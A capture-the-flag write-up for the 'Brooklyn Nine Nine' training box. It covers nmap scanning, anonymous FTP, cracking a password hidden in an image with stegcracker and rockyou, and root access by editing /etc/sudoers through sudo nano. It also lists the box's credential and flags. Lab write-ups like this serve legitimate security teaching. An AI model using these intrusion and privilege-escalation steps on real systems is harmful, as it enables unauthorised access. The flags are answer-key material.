Brooklyn Nine Nine

Brooklyn Nine Nine

This room is aimed for beginner level hackers but anyone can try to hack this box. There are two main intended ways to root the box.

[Task 1] Deploy and get hacking

This room is aimed for beginner level hackers but anyone can try to hack this box.
There are two main intended ways to root the box.
If you find more dm me in discord at Fsociety2006.

#1
User flag

ee11cbb19052e40b07aac0ca060c23ee

#2
Root flag

63a9f0ea7bb98050796b649e85481845

scans

nmap

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17 23:17 note_to_jake.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.1.69.107
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
```

<!-- Have you ever heard of steganography? → found in html code

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

buster

creds

usernames:

amy
jake
holt

passwords:

login-format:

holt:fluffydog12@ninenine

writeup

--ran nmap -T4 -A -v -Pn 10.10.115.83 and got open ports 21, 22, 80 and 21(ftp) allows anonymous login
--went to ftp://10.10.115.83
--downloaded file called note_to_jake.txt that reads:

📎

From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

--noted usernames amy, jake, and holt.
--went to http://10.10.115.83 and got image, and also saw comment "Have you ever heard of steganography?" in HTML code.
--downloaded image:

📎

--remembering the comment about stegonography and the note about the weak password I used stegcracker:

```
stegcracker brooklyn99.jpg /Desktop/wordlists/rockyou.txt
```

--got file that reads:

📎

Holts Password:
fluffydog12@ninenine

--logged in to ssh with the password and command ssh holt@10.10.115.83
--ran ls command and saw user.txt, so I ran cat user.txt to get user flag:
ee11cbb19052e40b07aac0ca060c23ee

--then ran sudo -l and got:

```
User holt may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /bin/nano
```

--so I ran sudo nano /etc/sudoers and changed holts permissions from '(ALL) NOPASSWD: /bin/nano' to '(ALL) NOPASSWD:ALL'
--then ran sudo -i to get root shell.
--ran ls and saw root.txt.
--ran cat root.txt to get root flag:
63a9f0ea7bb98050796b649e85481845